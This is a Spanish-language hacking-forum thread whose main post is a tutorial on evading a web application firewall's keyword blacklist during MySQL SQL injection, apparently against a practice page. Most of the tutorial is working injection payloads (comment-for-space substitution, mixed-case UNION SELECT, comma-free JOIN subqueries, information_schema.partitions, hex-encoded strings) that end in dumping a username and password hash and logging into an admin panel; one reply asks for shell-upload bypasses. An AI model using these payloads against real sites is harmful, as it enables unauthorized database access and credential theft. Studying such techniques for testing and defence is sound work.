comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Taller de Seguridad Web #4

  • 9 Respuestas
  • 6641 Vistas

0jeby0 y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5331
  • Actividad:
    56.67%
  • Reputación 29
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Octubre 19, 2014, 06:08:10 pm »

Introducción

Este taller va a tratar sobre seguridad web, y más precisamente, desarrollaremos  cómo evitar WAF (Web Application Firewall) en SQLi.
El WAF es un dispositivo que puede ser hardware o software que analiza el tráfico web (entre el servidor web y la WAN) y protege de diversos ataques como SQL Injection, Cross Site Scripting, etc. Protege ataques dirigidos al servidor web que los IDS/IPS no pueden. No enruta el tráfico ni lo NATea, sino que se hacen 2 peticiones diferentes, una desde el cliente hasta el WAF y otra desde el WAF hasta el servidor web final.

Pueden funcionar como bridge, router, proxy o plugin.
Un ejemplo de WAF a nivel software es el mod_security (plugin de Apache).

Como existe material de seguridad web,  SQLi por medio de MySQL, no profundizaremos, no obstante esa será la base a seguir.


Lista negra

Cuando estamos intentando PASAR un WAF, es conveniente tratar de evitar las palabras que se encuentran en una lista negra o tratar de ofuscarlas. En este ejemplo, tenemos la siguiente lista negra:


Si observamos la captura precedente, el código lo que hace es  detectar cada una de las palabras (usando preg_match):

Código: Text
  1. order
  2. -
  3. \s (espacios en blanco)
  4. , (comas)
  5. @@version
  6. user()
  7. tables
  8. and
  9. sleep
  10. substr
  11. substring
  12. mid()
  13. case

Al agregar la letra i al elenco de palabras que se detectan, posibilita que no importe si esa lista  de palabras son mayúsculas o minúsculas, de igual manera las va detectar.

Tenemos otra condición para ver si se encuentra (preg_match) en la URL las palabras:

Código: Text
  1. union
  2. select
  3. concat

Pero esta vez no utilizamos i (sensible a mayúsculas y minusculas), por lo que solo detectará las palabras en minúsculas  encuentran actualmente en la misma.


Inyectando SQLi y Detectando lista negra

Si hasta ahora hemos visto que al inyectar código SQL en una página, lo primero que hacemos es ver si nos tira algún error -y de hecho no importa si tampoco tira un error- como vimos en la Inyección SQL a Ciegas (Blind SQLi) en los talleres anteriores, donde nos basábamos en si era una consulta falsa o verdera para sacar los datos.

Lo típico, para ver si alguna página tiene un error en su consulta es romper la consulta en sí:

Código: MySQL
  1. $result = mysqli_query($con,"SELECT * FROM noticias WHERE id='$noticia'");

En ese caso, nuestra consulta es la anterior.

Nota importante
Código: Text
  1. Ahora, todo este código lo estamos viendo pero en realidad cuando estemos inyectando en una página código SQL éste no se verá ya que se encuentra en el Back End, por lo cual tendremos que imaginarnos como está estructurada la consulta en realidad.


Para romper esta consulta podemos utilizar ) “ ' \
En este caso, como nuestra consulta es la siguiente:

Código: MySQL
  1. You are not allowed to view links. Register or Login * You are not allowed to view links. Register or Login noticias You are not allowed to view links. Register or Login id='$noticia'

Y lo que inyectamos se encuentra en $noticia con ' -romperíamos la consulta- quedando esté así:

Código: MySQL
  1. You are not allowed to view links. Register or Login * You are not allowed to view links. Register or Login noticias You are not allowed to view links. Register or Login id='''

Causando un error de sintaxis, ya que tiene 3 comillas simples.

En caso de utilizarlo en la web nos daría el error también:

You are not allowed to view links. Register or Login' ERROR


Hasta aquí, ya todo se ha visto en los talleres anteriores, por lo que  no explicaré en detalle cómo se inyecta, ya que ese punto lo conocen, o los invito a visitar los links:

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login


Al no saber que hay en la lista negra, a la hora de inyectar vamos haciéndolo en la forma usual, esto nos permitirá saber si algún WAF nos está detectando. En algunos casos los WAF hacen redirección, o simplemente reinician la conexión haciendo algún sleep(),  bloquean la IP, etc.

Continuemos con la inyección:

You are not allowed to view links. Register or Login' order by 10 –- - DETECTADO

Nos devuelve algo como lo siguiente:


En esta oportunidad, es demasiado fácil saber que alguna de esas palabras las está detectando ya que nos lo dice en pantalla, burlándose de nosotros...)

En el siguiente paso, intentamos agregar lo menos que podamos:

You are not allowed to view links. Register or Login' –- - DETECTADO

Nos damos cuenta de que lo único que tenemos -aparte de los espacios- son los guiones, entonces está detectando los guiones, o los espacios, o ambos; para al notar esta situación, podemos evitar los guiones y utilizar # /* ` como comentario.

You are not allowed to view links. Register or Login' %23 DETECTADO

Ahora, quitemos  el espacio y ponemos los guiones:

You are not allowed to view links. Register or Login DETECTADO

Vamos a ponerle %23 es el # solo que está encodeado en URL, debido a que también se usa como hash para ir a determinada parte de un documento HTML.

Continuemos...

You are not allowed to view links. Register or Login CONSULTA CORRECTA

No ha lanzado error, entonces hasta ahora nuestra inyección es correcta. Como anteriormente advertimos que también detecta los espacios;  por consiguiente, nuestra lista negra actualmente se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES


En consecuencia, tendremos que evitarlos.

Los espacios trataremos de evitarlos usando /**/ en lugar de espacios ya que es un comentario multilínea que  cierra el mismo.

You are not allowed to view links. Register or Login**/%23 CONSULTA CORRECTA

 Lo siguiente, sería saber cuántas columnas tiene la primera consulta, para de esta manera poder inyectar la nuestra utilizando la cláusula UNION y SELECT. Esto, como lo vimos,  lo hacemos usando ORDER BY.

You are not allowed to view links. Register or Login**/ORDER/**/BY/**/10/**/%23 DETECTADO

Por medio de esta acción, no damos cuenta que también detecta ORDER BY. Una cláusula parecida es GROUP BY, la cual se utiliza cuando estamos usando funciones, usaremos ésta para evitar el uso de las palabras de la lista negra:

You are not allowed to view links. Register or Login**/GROUP/**/BY/**/10/**/%23 CONSULTA CORRECTA (CON ERROR)


Nos mando un error, pero es correcta la consulta ya que en ningún momento nos dice que se ha detectado la palabra, informándonos también que no tiene 10 columnas; por lo que habrá que ir bajando...

You are not allowed to view links. Register or Login**/GROUP/**/BY/**/5/**/%23 CONSULTA CORRECTA (CON ERROR)

You are not allowed to view links. Register or Login**/GROUP/**/BY/**/3/**/%23 CONSULTA CORRECTA

You are not allowed to view links. Register or Login**/GROUP/**/BY/**/4/**/%23 CONSULTA CORRECTA (CON ERROR)


A través de estas consultas, nos damos percibimos la existencia de 3 columnas.

Finamente, a  generar nuestra consulta: 3

You are not allowed to view links. Register or Login**/union/**/select/**/1,2,3/**/%23 DETECTADO

Aquí hay diferentes respuestas: o nos detecta unión, o select, o las comas, o todo.

A continuación le quitaremos las comas y dejaremos la consulta solo con union select:

You are not allowed to view links. Register or Login**/union/**/select/**/1/**/%23 DETECTADO

Esta acción nos permite notar que detecta union o select, lo que resulta más fácil todavía: quitamos select:

You are not allowed to view links. Register or Login**/union/**/1/**/%23 DETECTADO

Quitamos union:

You are not allowed to view links. Register or Login**/select/**/1/**/%23 DETECTADO

Ahora sabemos que está detectando las dos palabras...

Vamos a ver si estas palabras son sensibles a mayúsculas y minúsculas, alternando entre mayúsculas y minúsculas, entre las cláusulas:

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/1/**/%23 SIN DETECTAR (CON ERRROR EN LA CONSULTA)


Repasemos, el estado de nuestra lista negra, la que se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES
DETECTA ORDER BY
DETECTA UNION (EN MINUSCULAS)
DETECTA SELECT (EN MINUSCULAS)


Actualizamos nuestra consulta en forma correcta:

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/1,2,3/**/%23 DETECTADO (SIN ERRROR EN LA CONSULTA)

La última consulta nos permite ver que también nos detecta las comas. En este caso vamos utilizar join  con subconsultas de modo que nuestras tablas se multipliquen y de manera que cada registro de la primera tabla va con cada registro de la segunda tabla, y así sucesivamente.


Nota importante

Código: Text
  1. La sentencia join en SQL permite combinar registros de dos o más tablas en una base de datos relacional.
  2.  
  3. Una subconsulta es una instrucción SELECT anidada dentro de una instrucción SELECT, SELECT...INTO, INSERT...INTO, DELETE, o UPDATE, o dentro de otra subconsulta.


You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/3)c/**/%23 CONSULTA CORRECTA

Como se ve utilizamos alias porque sino devolvería un error como el siguiente:

ERROR 1248 (42000): Every derived table must have its own alias


Excelente, tenemos nuestros campos vulnerables, por lo cual podemos comenzar a buscar nuestra tabla, para ello como nos mostraron en los talleres anteriores vamos a buscar en la base de datos de meta datos INFORMATION_SCHEMA (esta base de datos contienen los registros, columnas y bases de datos; en sí toda la estructura).

INFORMATION_SCHEMA

¡Es hora de comenzar a inyectar!  Recordar que ya incluimos FROM para poder multiplicar las tablas... por lo cual usaremos from information_schema.tables dentro de una subconsulta.

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/table_name/**/from/**/information_schema.tables)c/**/%23 DETECTADO



El resultado de detección que resulta, no permite conocer  si nos detecta... table_name, o nos detecta information_schema, o nos detecta tables; en consecuencia para saber cual nos detecta probamos de 1 a 1...

You are not allowed to view links. Register or Login**/table_name%23 NO DETECTADO (CON ERROR EN CONSULTA)

You are not allowed to view links. Register or Login**/information_schema%23 NO DETECTADO (CON ERROR EN CONSULTA)

You are not allowed to view links. Register or Login**/tables%23 DETECTADO (CON ERROR EN CONSULTA)


Hasta el momento, nuestra lista negra se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES
DETECTA ORDER BY
DETECTA UNION (EN MINUSCULAS)
DETECTA SELECT (EN MINUSCULAS)
DETECTA COMAS
DETECTA TABLES


Dentro de information_schema hay otras tablas donde podemos encontrar la misma información que cuando utilizamos tables, para evitar esto utilizaremos la tabla partitions.


You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/table_name/**/from/**/information_schema.partitions)c/**/%23 CONSULTA CORRECTA


En muchos casos no devolverá como en el ejemplo, por lo cual, filtraremos utilizando WHERE por la base de datos:

WHERE table_schema=database()

WHERE - filtramos solo los datos por los que queremos
table_schema - contienen los nombres de las bases de datos
database()  - es nuestra base de datos actual

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(table_name)/**/from/**/information_schema.partitions/**/where/**/table_schema=database())c/**/%23 CONSULTA CORRECTA


En este caso me he saltado el concat en minúsculas porque también lo detecta.

GROUP_CONCAT – Concatena 1MB de datos

Aquí, lo más importante a sacar es la tabla usuarios.

Lo siguiente es sacar las columnas:

column_name – tabla de informacion_schema donde se encuentran las columnas
columns – columna donde se encuentran los nombres de las columnas
table_name – columna donde se encuentran los nombres de las tablas

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='usuarios')c/**/%23 CONSULTA CORRECTA

Muchas veces, algunos servidores tienen habilitado magic_quotes_gpc por lo al final en table_name='usuarios' habría un error en nuestra consulta a causa de las comillas simples; en caso de que eso suceda, convertimos nuestra cadena a hexadecimal, agregando al inicio 0xacaelhexadecimalnuestratabla para que nuestra base de datos MySQL sepa que es un hexadecimal.

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573756172696f73)c/**/%23 CONSULTA CORRECTA


Por último, para sacar los datos, tendríamos que hacerlo de 1 a 1 ya que si recordamos las comillas son detectadas:

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/password/**/from/**/usuarios)c/**/%23

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/usuario/**/from/**/usuarios)c/**/%23


O simplemente utilizar la otra subconsulta:

You are not allowed to view links. Register or Login**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/usuario/**/from/**/usuarios)b/**/join/**/(SelECt/**/password/**/from/**/usuarios)c/**/%23


usuario: arthusu
password: a74e85d6c1d4faef74abfede3bae2030 (youwin)


Finalmente,  iniciamos sesión en el panel:



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



Desconectado aika

  • *
  • Underc0der
  • Mensajes: 181
  • Actividad:
    0%
  • Reputación 0
  • ehie binah
    • Ver Perfil
    • http://codenameaika.blogspot.mx/
    • Email
« Respuesta #1 en: Octubre 19, 2014, 06:11:25 pm »
muy bien n.n ya comprato en las redes   ;)
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or LoginYou are not allowed to view links. Register or Login

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Octubre 20, 2014, 11:37:48 am »
Felicitaciones arthusu! Está excelente el taller! Ataques avanzados de rápida comprensión gracias a la didáctica del texto.

+1

Saludos!
WhiZ


Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 531
  • Actividad:
    8.33%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #3 en: Octubre 20, 2014, 01:01:46 pm »
You are not allowed to view links. Register or Login
Felicitaciones arthusu! Está excelente el taller! Ataques avanzados de rápida comprensión gracias a la didáctica del texto.

+1

Saludos!
WhiZ

Gracias y tambien a ti aika, cualquier cosa en que tengan dudas sobre el tema por favor comenten ;)

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 850
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email
« Respuesta #4 en: Octubre 20, 2014, 03:10:31 pm »
está excelente mis felicitaciones arthusu.

saludos!

Desconectado esvinusac

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Octubre 20, 2014, 03:58:50 pm »
Excelente Taller, felicidades.!

Desconectado Kil0

  • *
  • Underc0der
  • Mensajes: 23
  • Actividad:
    0%
  • Reputación 0
  • Somos distintos, Pensamos diferente.
    • Ver Perfil
    • Email
« Respuesta #6 en: Octubre 25, 2014, 05:17:29 pm »
Excelente Material, felicidades espero las próximas entregas sobro el tema.

aquí tienes un +1

Saludos  :)

Desconectado iMex

  • *
  • Underc0der
  • Mensajes: 7
  • Actividad:
    0%
  • Reputación 0
  • [sudo] password for imex:
    • Ver Perfil
« Respuesta #7 en: Noviembre 12, 2014, 09:02:02 pm »
Hola ANTRAX, buen contenido, me parece un poco corto pero bien explayado, me gustaría que se incluyera que hacer después, las dificultades de subir shell, cuando está filtrada, como bypasear y como subir un uploader para subir la shell en caso de que te limite el tamaño... hace mucho que no me paso por foros, me registré ya que me pareció buen tema y en Infiernohacker hay poca actividad...
« Última modificación: Noviembre 12, 2014, 09:03:49 pm por iMex »

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #8 en: Noviembre 12, 2014, 10:07:48 pm »
Está muy bueno el Taller.

¡Gracias por compartir!

Desconectado hum4n3xpl01t

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #9 en: Noviembre 17, 2014, 01:08:05 am »

Excelente Taller, mis respetos para arthusu.

Best Regards,

hum4n3xpl01t  8)

 

¿Te gustó el post? COMPARTILO!



Taller de pentesting con Kali Linux - Parte I

Iniciado por ANTRAX

Respuestas: 55
Vistas: 29903
Último mensaje Febrero 28, 2018, 02:23:37 am
por lynch512
Taller de Pentesting con Kali Linux #2

Iniciado por ANTRAX

Respuestas: 32
Vistas: 21319
Último mensaje Noviembre 10, 2017, 07:40:18 am
por Brittsman97
Taller de programacion en Java #1

Iniciado por ANTRAX

Respuestas: 4
Vistas: 3704
Último mensaje Enero 09, 2014, 07:22:14 pm
por Kolibri26
Taller Programación en Batch #1

Iniciado por ANTRAX

Respuestas: 5
Vistas: 9769
Último mensaje Octubre 21, 2014, 04:53:53 pm
por drotha2
Taller Programación en Ruby #1

Iniciado por ANTRAX

Respuestas: 8
Vistas: 4775
Último mensaje Julio 12, 2016, 11:06:52 pm
por m86d19o